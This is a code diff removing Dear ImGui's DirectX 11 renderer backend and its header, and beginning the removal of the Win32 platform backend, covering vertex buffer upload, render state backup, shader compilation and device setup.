||||
{
|
||||
const ImDrawList* cmd_list = draw_data->CmdLists[n];
|
||||
memcpy(vtx_dst, cmd_list->VtxBuffer.Data, cmd_list->VtxBuffer.Size * sizeof(ImDrawVert));
|
||||
memcpy(idx_dst, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx));
|
||||
vtx_dst += cmd_list->VtxBuffer.Size;
|
||||
idx_dst += cmd_list->IdxBuffer.Size;
|
||||
}
|
||||
ctx->Unmap(g_pVB, 0);
|
||||
ctx->Unmap(g_pIB, 0);
|
||||
|
||||
// Setup orthographic projection matrix into our constant buffer
|
||||
// Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps.
|
||||
{
|
||||
D3D11_MAPPED_SUBRESOURCE mapped_resource;
|
||||
if (ctx->Map(g_pVertexConstantBuffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mapped_resource) != S_OK)
|
||||
return;
|
||||
VERTEX_CONSTANT_BUFFER* constant_buffer = (VERTEX_CONSTANT_BUFFER*)mapped_resource.pData;
|
||||
float L = draw_data->DisplayPos.x;
|
||||
float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x;
|
||||
float T = draw_data->DisplayPos.y;
|
||||
float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y;
|
||||
float mvp[4][4] =
|
||||
{
|
||||
{ 2.0f/(R-L), 0.0f, 0.0f, 0.0f },
|
||||
{ 0.0f, 2.0f/(T-B), 0.0f, 0.0f },
|
||||
{ 0.0f, 0.0f, 0.5f, 0.0f },
|
||||
{ (R+L)/(L-R), (T+B)/(B-T), 0.5f, 1.0f },
|
||||
};
|
||||
memcpy(&constant_buffer->mvp, mvp, sizeof(mvp));
|
||||
ctx->Unmap(g_pVertexConstantBuffer, 0);
|
||||
}
|
||||
|
||||
// Backup DX state that will be modified to restore it afterwards (unfortunately this is very ugly looking and verbose. Close your eyes!)
|
||||
struct BACKUP_DX11_STATE
|
||||
{
|
||||
UINT ScissorRectsCount, ViewportsCount;
|
||||
D3D11_RECT ScissorRects[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE];
|
||||
D3D11_VIEWPORT Viewports[D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE];
|
||||
ID3D11RasterizerState* RS;
|
||||
ID3D11BlendState* BlendState;
|
||||
FLOAT BlendFactor[4];
|
||||
UINT SampleMask;
|
||||
UINT StencilRef;
|
||||
ID3D11DepthStencilState* DepthStencilState;
|
||||
ID3D11ShaderResourceView* PSShaderResource;
|
||||
ID3D11SamplerState* PSSampler;
|
||||
ID3D11PixelShader* PS;
|
||||
ID3D11VertexShader* VS;
|
||||
ID3D11GeometryShader* GS;
|
||||
UINT PSInstancesCount, VSInstancesCount, GSInstancesCount;
|
||||
ID3D11ClassInstance *PSInstances[256], *VSInstances[256], *GSInstances[256]; // 256 is max according to PSSetShader documentation
|
||||
D3D11_PRIMITIVE_TOPOLOGY PrimitiveTopology;
|
||||
ID3D11Buffer* IndexBuffer, *VertexBuffer, *VSConstantBuffer;
|
||||
UINT IndexBufferOffset, VertexBufferStride, VertexBufferOffset;
|
||||
DXGI_FORMAT IndexBufferFormat;
|
||||
ID3D11InputLayout* InputLayout;
|
||||
};
|
||||
BACKUP_DX11_STATE old;
|
||||
old.ScissorRectsCount = old.ViewportsCount = D3D11_VIEWPORT_AND_SCISSORRECT_OBJECT_COUNT_PER_PIPELINE;
|
||||
ctx->RSGetScissorRects(&old.ScissorRectsCount, old.ScissorRects);
|
||||
ctx->RSGetViewports(&old.ViewportsCount, old.Viewports);
|
||||
ctx->RSGetState(&old.RS);
|
||||
ctx->OMGetBlendState(&old.BlendState, old.BlendFactor, &old.SampleMask);
|
||||
ctx->OMGetDepthStencilState(&old.DepthStencilState, &old.StencilRef);
|
||||
ctx->PSGetShaderResources(0, 1, &old.PSShaderResource);
|
||||
ctx->PSGetSamplers(0, 1, &old.PSSampler);
|
||||
old.PSInstancesCount = old.VSInstancesCount = old.GSInstancesCount = 256;
|
||||
ctx->PSGetShader(&old.PS, old.PSInstances, &old.PSInstancesCount);
|
||||
ctx->VSGetShader(&old.VS, old.VSInstances, &old.VSInstancesCount);
|
||||
ctx->VSGetConstantBuffers(0, 1, &old.VSConstantBuffer);
|
||||
ctx->GSGetShader(&old.GS, old.GSInstances, &old.GSInstancesCount);
|
||||
|
||||
ctx->IAGetPrimitiveTopology(&old.PrimitiveTopology);
|
||||
ctx->IAGetIndexBuffer(&old.IndexBuffer, &old.IndexBufferFormat, &old.IndexBufferOffset);
|
||||
ctx->IAGetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset);
|
||||
ctx->IAGetInputLayout(&old.InputLayout);
|
||||
|
||||
// Setup desired DX state
|
||||
ImGui_ImplDX11_SetupRenderState(draw_data, ctx);
|
||||
|
||||
// Render command lists
|
||||
// (Because we merged all buffers into a single one, we maintain our own offset into them)
|
||||
int global_idx_offset = 0;
|
||||
int global_vtx_offset = 0;
|
||||
ImVec2 clip_off = draw_data->DisplayPos;
|
||||
for (int n = 0; n < draw_data->CmdListsCount; n++)
|
||||
{
|
||||
const ImDrawList* cmd_list = draw_data->CmdLists[n];
|
||||
for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++)
|
||||
{
|
||||
const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i];
|
||||
if (pcmd->UserCallback != NULL)
|
||||
{
|
||||
// User callback, registered via ImDrawList::AddCallback()
|
||||
// (ImDrawCallback_ResetRenderState is a special callback value used by the user to request the renderer to reset render state.)
|
||||
if (pcmd->UserCallback == ImDrawCallback_ResetRenderState)
|
||||
ImGui_ImplDX11_SetupRenderState(draw_data, ctx);
|
||||
else
|
||||
pcmd->UserCallback(cmd_list, pcmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Apply scissor/clipping rectangle
|
||||
const D3D11_RECT r = { (LONG)(pcmd->ClipRect.x - clip_off.x), (LONG)(pcmd->ClipRect.y - clip_off.y), (LONG)(pcmd->ClipRect.z - clip_off.x), (LONG)(pcmd->ClipRect.w - clip_off.y) };
|
||||
ctx->RSSetScissorRects(1, &r);
|
||||
|
||||
// Bind texture, Draw
|
||||
ID3D11ShaderResourceView* texture_srv = (ID3D11ShaderResourceView*)pcmd->TextureId;
|
||||
ctx->PSSetShaderResources(0, 1, &texture_srv);
|
||||
ctx->DrawIndexed(pcmd->ElemCount, pcmd->IdxOffset + global_idx_offset, pcmd->VtxOffset + global_vtx_offset);
|
||||
}
|
||||
}
|
||||
global_idx_offset += cmd_list->IdxBuffer.Size;
|
||||
global_vtx_offset += cmd_list->VtxBuffer.Size;
|
||||
}
|
||||
|
||||
// Restore modified DX state
|
||||
ctx->RSSetScissorRects(old.ScissorRectsCount, old.ScissorRects);
|
||||
ctx->RSSetViewports(old.ViewportsCount, old.Viewports);
|
||||
ctx->RSSetState(old.RS); if (old.RS) old.RS->Release();
|
||||
ctx->OMSetBlendState(old.BlendState, old.BlendFactor, old.SampleMask); if (old.BlendState) old.BlendState->Release();
|
||||
ctx->OMSetDepthStencilState(old.DepthStencilState, old.StencilRef); if (old.DepthStencilState) old.DepthStencilState->Release();
|
||||
ctx->PSSetShaderResources(0, 1, &old.PSShaderResource); if (old.PSShaderResource) old.PSShaderResource->Release();
|
||||
ctx->PSSetSamplers(0, 1, &old.PSSampler); if (old.PSSampler) old.PSSampler->Release();
|
||||
ctx->PSSetShader(old.PS, old.PSInstances, old.PSInstancesCount); if (old.PS) old.PS->Release();
|
||||
for (UINT i = 0; i < old.PSInstancesCount; i++) if (old.PSInstances[i]) old.PSInstances[i]->Release();
|
||||
ctx->VSSetShader(old.VS, old.VSInstances, old.VSInstancesCount); if (old.VS) old.VS->Release();
|
||||
ctx->VSSetConstantBuffers(0, 1, &old.VSConstantBuffer); if (old.VSConstantBuffer) old.VSConstantBuffer->Release();
|
||||
ctx->GSSetShader(old.GS, old.GSInstances, old.GSInstancesCount); if (old.GS) old.GS->Release();
|
||||
for (UINT i = 0; i < old.VSInstancesCount; i++) if (old.VSInstances[i]) old.VSInstances[i]->Release();
|
||||
ctx->IASetPrimitiveTopology(old.PrimitiveTopology);
|
||||
ctx->IASetIndexBuffer(old.IndexBuffer, old.IndexBufferFormat, old.IndexBufferOffset); if (old.IndexBuffer) old.IndexBuffer->Release();
|
||||
ctx->IASetVertexBuffers(0, 1, &old.VertexBuffer, &old.VertexBufferStride, &old.VertexBufferOffset); if (old.VertexBuffer) old.VertexBuffer->Release();
|
||||
ctx->IASetInputLayout(old.InputLayout); if (old.InputLayout) old.InputLayout->Release();
|
||||
}
|
||||
|
||||
static void ImGui_ImplDX11_CreateFontsTexture()
|
||||
{
|
||||
// Build texture atlas
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
unsigned char* pixels;
|
||||
int width, height;
|
||||
io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height);
|
||||
|
||||
// Upload texture to graphics system
|
||||
{
|
||||
D3D11_TEXTURE2D_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.Width = width;
|
||||
desc.Height = height;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_DEFAULT;
|
||||
desc.BindFlags = D3D11_BIND_SHADER_RESOURCE;
|
||||
desc.CPUAccessFlags = 0;
|
||||
|
||||
ID3D11Texture2D* pTexture = NULL;
|
||||
D3D11_SUBRESOURCE_DATA subResource;
|
||||
subResource.pSysMem = pixels;
|
||||
subResource.SysMemPitch = desc.Width * 4;
|
||||
subResource.SysMemSlicePitch = 0;
|
||||
g_pd3dDevice->CreateTexture2D(&desc, &subResource, &pTexture);
|
||||
|
||||
// Create texture view
|
||||
D3D11_SHADER_RESOURCE_VIEW_DESC srvDesc;
|
||||
ZeroMemory(&srvDesc, sizeof(srvDesc));
|
||||
srvDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
|
||||
srvDesc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;
|
||||
srvDesc.Texture2D.MipLevels = desc.MipLevels;
|
||||
srvDesc.Texture2D.MostDetailedMip = 0;
|
||||
g_pd3dDevice->CreateShaderResourceView(pTexture, &srvDesc, &g_pFontTextureView);
|
||||
pTexture->Release();
|
||||
}
|
||||
|
||||
// Store our identifier
|
||||
io.Fonts->SetTexID((ImTextureID)g_pFontTextureView);
|
||||
|
||||
// Create texture sampler
|
||||
{
|
||||
D3D11_SAMPLER_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.Filter = D3D11_FILTER_MIN_MAG_MIP_LINEAR;
|
||||
desc.AddressU = D3D11_TEXTURE_ADDRESS_WRAP;
|
||||
desc.AddressV = D3D11_TEXTURE_ADDRESS_WRAP;
|
||||
desc.AddressW = D3D11_TEXTURE_ADDRESS_WRAP;
|
||||
desc.MipLODBias = 0.f;
|
||||
desc.ComparisonFunc = D3D11_COMPARISON_ALWAYS;
|
||||
desc.MinLOD = 0.f;
|
||||
desc.MaxLOD = 0.f;
|
||||
g_pd3dDevice->CreateSamplerState(&desc, &g_pFontSampler);
|
||||
}
|
||||
}
|
||||
|
||||
bool ImGui_ImplDX11_CreateDeviceObjects()
|
||||
{
|
||||
if (!g_pd3dDevice)
|
||||
return false;
|
||||
if (g_pFontSampler)
|
||||
ImGui_ImplDX11_InvalidateDeviceObjects();
|
||||
|
||||
// By using D3DCompile() from <d3dcompiler.h> / d3dcompiler.lib, we introduce a dependency to a given version of d3dcompiler_XX.dll (see D3DCOMPILER_DLL_A)
|
||||
// If you would like to use this DX11 sample code but remove this dependency you can:
|
||||
// 1) compile once, save the compiled shader blobs into a file or source code and pass them to CreateVertexShader()/CreatePixelShader() [preferred solution]
|
||||
// 2) use code to detect any version of the DLL and grab a pointer to D3DCompile from the DLL.
|
||||
// See https://github.com/ocornut/imgui/pull/638 for sources and details.
|
||||
|
||||
// Create the vertex shader
|
||||
{
|
||||
static const char* vertexShader =
|
||||
"cbuffer vertexBuffer : register(b0) \
|
||||
{\
|
||||
float4x4 ProjectionMatrix; \
|
||||
};\
|
||||
struct VS_INPUT\
|
||||
{\
|
||||
float2 pos : POSITION;\
|
||||
float4 col : COLOR0;\
|
||||
float2 uv : TEXCOORD0;\
|
||||
};\
|
||||
\
|
||||
struct PS_INPUT\
|
||||
{\
|
||||
float4 pos : SV_POSITION;\
|
||||
float4 col : COLOR0;\
|
||||
float2 uv : TEXCOORD0;\
|
||||
};\
|
||||
\
|
||||
PS_INPUT main(VS_INPUT input)\
|
||||
{\
|
||||
PS_INPUT output;\
|
||||
output.pos = mul( ProjectionMatrix, float4(input.pos.xy, 0.f, 1.f));\
|
||||
output.col = input.col;\
|
||||
output.uv = input.uv;\
|
||||
return output;\
|
||||
}";
|
||||
|
||||
const auto pD3DCompile =
|
||||
reinterpret_cast<decltype(&D3DCompile)>(
|
||||
GetProcAddress(LoadLibraryA("D3DCompiler_47.dll"), "D3DCompile"));
|
||||
|
||||
ID3DBlob* vertexShaderBlob;
|
||||
if (FAILED(pD3DCompile(vertexShader, strlen(vertexShader), NULL, NULL, NULL, "main", "vs_4_0", 0, 0, &vertexShaderBlob, NULL)))
|
||||
return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob!
|
||||
if (g_pd3dDevice->CreateVertexShader(vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), NULL, &g_pVertexShader) != S_OK)
|
||||
{
|
||||
vertexShaderBlob->Release();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create the input layout
|
||||
D3D11_INPUT_ELEMENT_DESC local_layout[] =
|
||||
{
|
||||
{ "POSITION", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)IM_OFFSETOF(ImDrawVert, pos), D3D11_INPUT_PER_VERTEX_DATA, 0 },
|
||||
{ "TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)IM_OFFSETOF(ImDrawVert, uv), D3D11_INPUT_PER_VERTEX_DATA, 0 },
|
||||
{ "COLOR", 0, DXGI_FORMAT_R8G8B8A8_UNORM, 0, (UINT)IM_OFFSETOF(ImDrawVert, col), D3D11_INPUT_PER_VERTEX_DATA, 0 },
|
||||
};
|
||||
|
||||
if (g_pd3dDevice->CreateInputLayout(local_layout, 3, vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), &g_pInputLayout) != S_OK)
|
||||
{
|
||||
vertexShaderBlob->Release();
|
||||
return false;
|
||||
}
|
||||
vertexShaderBlob->Release();
|
||||
|
||||
// Create the constant buffer
|
||||
{
|
||||
D3D11_BUFFER_DESC desc;
|
||||
desc.ByteWidth = sizeof(VERTEX_CONSTANT_BUFFER);
|
||||
desc.Usage = D3D11_USAGE_DYNAMIC;
|
||||
desc.BindFlags = D3D11_BIND_CONSTANT_BUFFER;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
|
||||
desc.MiscFlags = 0;
|
||||
g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pVertexConstantBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
// Create the pixel shader
|
||||
{
|
||||
static const char* pixelShader =
|
||||
"struct PS_INPUT\
|
||||
{\
|
||||
float4 pos : SV_POSITION;\
|
||||
float4 col : COLOR0;\
|
||||
float2 uv : TEXCOORD0;\
|
||||
};\
|
||||
sampler sampler0;\
|
||||
Texture2D texture0;\
|
||||
\
|
||||
float4 main(PS_INPUT input) : SV_Target\
|
||||
{\
|
||||
float4 out_col = input.col * texture0.Sample(sampler0, input.uv); \
|
||||
return out_col; \
|
||||
}";
|
||||
|
||||
const auto pD3DCompile =
|
||||
reinterpret_cast<decltype(&D3DCompile)>(
|
||||
GetProcAddress(LoadLibraryA("D3DCompiler_47.dll"), "D3DCompile"));
|
||||
|
||||
ID3DBlob* pixelShaderBlob;
|
||||
if (FAILED(pD3DCompile(pixelShader, strlen(pixelShader), NULL, NULL, NULL, "main", "ps_4_0", 0, 0, &pixelShaderBlob, NULL)))
|
||||
return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob!
|
||||
if (g_pd3dDevice->CreatePixelShader(pixelShaderBlob->GetBufferPointer(), pixelShaderBlob->GetBufferSize(), NULL, &g_pPixelShader) != S_OK)
|
||||
{
|
||||
pixelShaderBlob->Release();
|
||||
return false;
|
||||
}
|
||||
pixelShaderBlob->Release();
|
||||
}
|
||||
|
||||
// Create the blending setup
|
||||
{
|
||||
D3D11_BLEND_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.AlphaToCoverageEnable = false;
|
||||
desc.RenderTarget[0].BlendEnable = true;
|
||||
desc.RenderTarget[0].SrcBlend = D3D11_BLEND_SRC_ALPHA;
|
||||
desc.RenderTarget[0].DestBlend = D3D11_BLEND_INV_SRC_ALPHA;
|
||||
desc.RenderTarget[0].BlendOp = D3D11_BLEND_OP_ADD;
|
||||
desc.RenderTarget[0].SrcBlendAlpha = D3D11_BLEND_ONE;
|
||||
desc.RenderTarget[0].DestBlendAlpha = D3D11_BLEND_INV_SRC_ALPHA;
|
||||
desc.RenderTarget[0].BlendOpAlpha = D3D11_BLEND_OP_ADD;
|
||||
desc.RenderTarget[0].RenderTargetWriteMask = D3D11_COLOR_WRITE_ENABLE_ALL;
|
||||
g_pd3dDevice->CreateBlendState(&desc, &g_pBlendState);
|
||||
}
|
||||
|
||||
// Create the rasterizer state
|
||||
{
|
||||
D3D11_RASTERIZER_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.FillMode = D3D11_FILL_SOLID;
|
||||
desc.CullMode = D3D11_CULL_NONE;
|
||||
desc.ScissorEnable = true;
|
||||
desc.DepthClipEnable = true;
|
||||
g_pd3dDevice->CreateRasterizerState(&desc, &g_pRasterizerState);
|
||||
}
|
||||
|
||||
// Create depth-stencil State
|
||||
{
|
||||
D3D11_DEPTH_STENCIL_DESC desc;
|
||||
ZeroMemory(&desc, sizeof(desc));
|
||||
desc.DepthEnable = false;
|
||||
desc.DepthWriteMask = D3D11_DEPTH_WRITE_MASK_ALL;
|
||||
desc.DepthFunc = D3D11_COMPARISON_ALWAYS;
|
||||
desc.StencilEnable = false;
|
||||
desc.FrontFace.StencilFailOp = desc.FrontFace.StencilDepthFailOp = desc.FrontFace.StencilPassOp = D3D11_STENCIL_OP_KEEP;
|
||||
desc.FrontFace.StencilFunc = D3D11_COMPARISON_ALWAYS;
|
||||
desc.BackFace = desc.FrontFace;
|
||||
g_pd3dDevice->CreateDepthStencilState(&desc, &g_pDepthStencilState);
|
||||
}
|
||||
|
||||
ImGui_ImplDX11_CreateFontsTexture();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void ImGui_ImplDX11_InvalidateDeviceObjects()
|
||||
{
|
||||
if (!g_pd3dDevice)
|
||||
return;
|
||||
|
||||
if (g_pFontSampler) { g_pFontSampler->Release(); g_pFontSampler = NULL; }
|
||||
if (g_pFontTextureView) { g_pFontTextureView->Release(); g_pFontTextureView = NULL; ImGui::GetIO().Fonts->SetTexID(NULL); } // We copied g_pFontTextureView to io.Fonts->TexID so let's clear that as well.
|
||||
if (g_pIB) { g_pIB->Release(); g_pIB = NULL; }
|
||||
if (g_pVB) { g_pVB->Release(); g_pVB = NULL; }
|
||||
|
||||
if (g_pBlendState) { g_pBlendState->Release(); g_pBlendState = NULL; }
|
||||
if (g_pDepthStencilState) { g_pDepthStencilState->Release(); g_pDepthStencilState = NULL; }
|
||||
if (g_pRasterizerState) { g_pRasterizerState->Release(); g_pRasterizerState = NULL; }
|
||||
if (g_pPixelShader) { g_pPixelShader->Release(); g_pPixelShader = NULL; }
|
||||
if (g_pVertexConstantBuffer) { g_pVertexConstantBuffer->Release(); g_pVertexConstantBuffer = NULL; }
|
||||
if (g_pInputLayout) { g_pInputLayout->Release(); g_pInputLayout = NULL; }
|
||||
if (g_pVertexShader) { g_pVertexShader->Release(); g_pVertexShader = NULL; }
|
||||
}
|
||||
|
||||
bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context)
|
||||
{
|
||||
// Setup backend capabilities flags
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
io.BackendRendererName = "imgui_impl_dx11";
|
||||
io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes.
|
||||
|
||||
// Get factory from device
|
||||
IDXGIDevice* pDXGIDevice = NULL;
|
||||
IDXGIAdapter* pDXGIAdapter = NULL;
|
||||
IDXGIFactory* pFactory = NULL;
|
||||
|
||||
if (device->QueryInterface(IID_PPV_ARGS(&pDXGIDevice)) == S_OK)
|
||||
if (pDXGIDevice->GetParent(IID_PPV_ARGS(&pDXGIAdapter)) == S_OK)
|
||||
if (pDXGIAdapter->GetParent(IID_PPV_ARGS(&pFactory)) == S_OK)
|
||||
{
|
||||
g_pd3dDevice = device;
|
||||
g_pd3dDeviceContext = device_context;
|
||||
g_pFactory = pFactory;
|
||||
}
|
||||
if (pDXGIDevice) pDXGIDevice->Release();
|
||||
if (pDXGIAdapter) pDXGIAdapter->Release();
|
||||
g_pd3dDevice->AddRef();
|
||||
g_pd3dDeviceContext->AddRef();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void ImGui_ImplDX11_Shutdown()
|
||||
{
|
||||
ImGui_ImplDX11_InvalidateDeviceObjects();
|
||||
if (g_pFactory) { g_pFactory->Release(); g_pFactory = NULL; }
|
||||
if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; }
|
||||
if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; }
|
||||
}
|
||||
|
||||
void ImGui_ImplDX11_NewFrame()
|
||||
{
|
||||
if (!g_pFontSampler)
|
||||
ImGui_ImplDX11_CreateDeviceObjects();
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
// dear imgui: Renderer Backend for DirectX11
|
||||
// This needs to be used along with a Platform Backend (e.g. Win32)
|
||||
|
||||
// Implemented features:
|
||||
// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID!
|
||||
// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices.
|
||||
|
||||
// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
|
||||
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
|
||||
// Read online: https://github.com/ocornut/imgui/tree/master/docs
|
||||
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define _NTSYSTEM_
|
||||
#define _GDI32_
|
||||
|
||||
#include "imgui.h" // IMGUI_IMPL_API
|
||||
|
||||
struct ID3D11Device;
|
||||
struct ID3D11DeviceContext;
|
||||
|
||||
IMGUI_IMPL_API bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context);
|
||||
IMGUI_IMPL_API void ImGui_ImplDX11_Shutdown();
|
||||
IMGUI_IMPL_API void ImGui_ImplDX11_NewFrame();
|
||||
IMGUI_IMPL_API void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data);
|
||||
|
||||
// Use if you want to reset your rendering device without losing Dear ImGui state.
|
||||
IMGUI_IMPL_API void ImGui_ImplDX11_InvalidateDeviceObjects();
|
||||
IMGUI_IMPL_API bool ImGui_ImplDX11_CreateDeviceObjects();
|
@ -1,504 +0,0 @@
|
||||
// dear imgui: Platform Backend for Windows (standard windows API for 32 and 64 bits applications)
|
||||
// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..)
|
||||
|
||||
// Implemented features:
|
||||
// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui)
|
||||
// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'.
|
||||
// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE).
|
||||
// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'.
|
||||
|
||||
// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
|
||||
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
|
||||
// Read online: https://github.com/ocornut/imgui/tree/master/docs
|
||||
|
||||
#include "imgui.h"
|
||||
#include "imgui_impl_win32.h"
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#include <tchar.h>
|
||||
#include <dwmapi.h>
|
||||
|
||||
// Configuration flags to add in your imconfig.h file:
|
||||
//#define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD // Disable gamepad support (this used to be meaningful before <1.81) but we know load XInput dynamically so the option is less relevant now.
|
||||
|
||||
// Using XInput for gamepad (will load DLL dynamically)
|
||||
#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
#include <XInput.h>
|
||||
typedef DWORD (WINAPI *PFN_XInputGetCapabilities)(DWORD, DWORD, XINPUT_CAPABILITIES*);
|
||||
typedef DWORD (WINAPI *PFN_XInputGetState)(DWORD, XINPUT_STATE*);
|
||||
#endif
|
||||
|
||||
// CHANGELOG
|
||||
// (minor and older changes stripped away, please see git history for details)
|
||||
// 2021-02-18: Added ImGui_ImplWin32_EnableAlphaCompositing(). Non Visual Studio users will need to link with dwmapi.lib (MinGW/gcc: use -ldwmapi).
|
||||
// 2021-02-17: Fixed ImGui_ImplWin32_EnableDpiAwareness() attempting to get SetProcessDpiAwareness from shcore.dll on Windows 8 whereas it is only supported on Windows 8.1.
|
||||
// 2021-01-25: Inputs: Dynamically loading XInput DLL.
|
||||
// 2020-12-04: Misc: Fixed setting of io.DisplaySize to invalid/uninitialized data when after hwnd has been closed.
|
||||
// 2020-03-03: Inputs: Calling AddInputCharacterUTF16() to support surrogate pairs leading to codepoint >= 0x10000 (for more complete CJK inputs)
|
||||
// 2020-02-17: Added ImGui_ImplWin32_EnableDpiAwareness(), ImGui_ImplWin32_GetDpiScaleForHwnd(), ImGui_ImplWin32_GetDpiScaleForMonitor() helper functions.
|
||||
// 2020-01-14: Inputs: Added support for #define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD/IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT.
|
||||
// 2019-12-05: Inputs: Added support for ImGuiMouseCursor_NotAllowed mouse cursor.
|
||||
// 2019-05-11: Inputs: Don't filter value from WM_CHAR before calling AddInputCharacter().
|
||||
// 2019-01-17: Misc: Using GetForegroundWindow()+IsChild() instead of GetActiveWindow() to be compatible with windows created in a different thread or parent.
|
||||
// 2019-01-17: Inputs: Added support for mouse buttons 4 and 5 via WM_XBUTTON* messages.
|
||||
// 2019-01-15: Inputs: Added support for XInput gamepads (if ImGuiConfigFlags_NavEnableGamepad is set by user application).
|
||||
// 2018-11-30: Misc: Setting up io.BackendPlatformName so it can be displayed in the About Window.
|
||||
// 2018-06-29: Inputs: Added support for the ImGuiMouseCursor_Hand cursor.
|
||||
// 2018-06-10: Inputs: Fixed handling of mouse wheel messages to support fine position messages (typically sent by track-pads).
|
||||
// 2018-06-08: Misc: Extracted imgui_impl_win32.cpp/.h away from the old combined DX9/DX10/DX11/DX12 examples.
|
||||
// 2018-03-20: Misc: Setup io.BackendFlags ImGuiBackendFlags_HasMouseCursors and ImGuiBackendFlags_HasSetMousePos flags + honor ImGuiConfigFlags_NoMouseCursorChange flag.
|
||||
// 2018-02-20: Inputs: Added support for mouse cursors (ImGui::GetMouseCursor() value and WM_SETCURSOR message handling).
|
||||
// 2018-02-06: Inputs: Added mapping for ImGuiKey_Space.
|
||||
// 2018-02-06: Inputs: Honoring the io.WantSetMousePos by repositioning the mouse (when using navigation and ImGuiConfigFlags_NavMoveMouse is set).
|
||||
// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves.
|
||||
// 2018-01-20: Inputs: Added Horizontal Mouse Wheel support.
|
||||
// 2018-01-08: Inputs: Added mapping for ImGuiKey_Insert.
|
||||
// 2018-01-05: Inputs: Added WM_LBUTTONDBLCLK double-click handlers for window classes with the CS_DBLCLKS flag.
|
||||
// 2017-10-23: Inputs: Added WM_SYSKEYDOWN / WM_SYSKEYUP handlers so e.g. the VK_MENU key can be read.
|
||||
// 2017-10-23: Inputs: Using Win32 ::SetCapture/::GetCapture() to retrieve mouse positions outside the client area when dragging.
|
||||
// 2016-11-12: Inputs: Only call Win32 ::SetCursor(NULL) when io.MouseDrawCursor is set.
|
||||
|
||||
// Win32 Data
|
||||
static HWND g_hWnd = NULL;
|
||||
static INT64 g_Time = 0;
|
||||
static INT64 g_TicksPerSecond = 0;
|
||||
static ImGuiMouseCursor g_LastMouseCursor = ImGuiMouseCursor_COUNT;
|
||||
static bool g_HasGamepad = false;
|
||||
static bool g_WantUpdateHasGamepad = true;
|
||||
|
||||
// XInput DLL and functions
|
||||
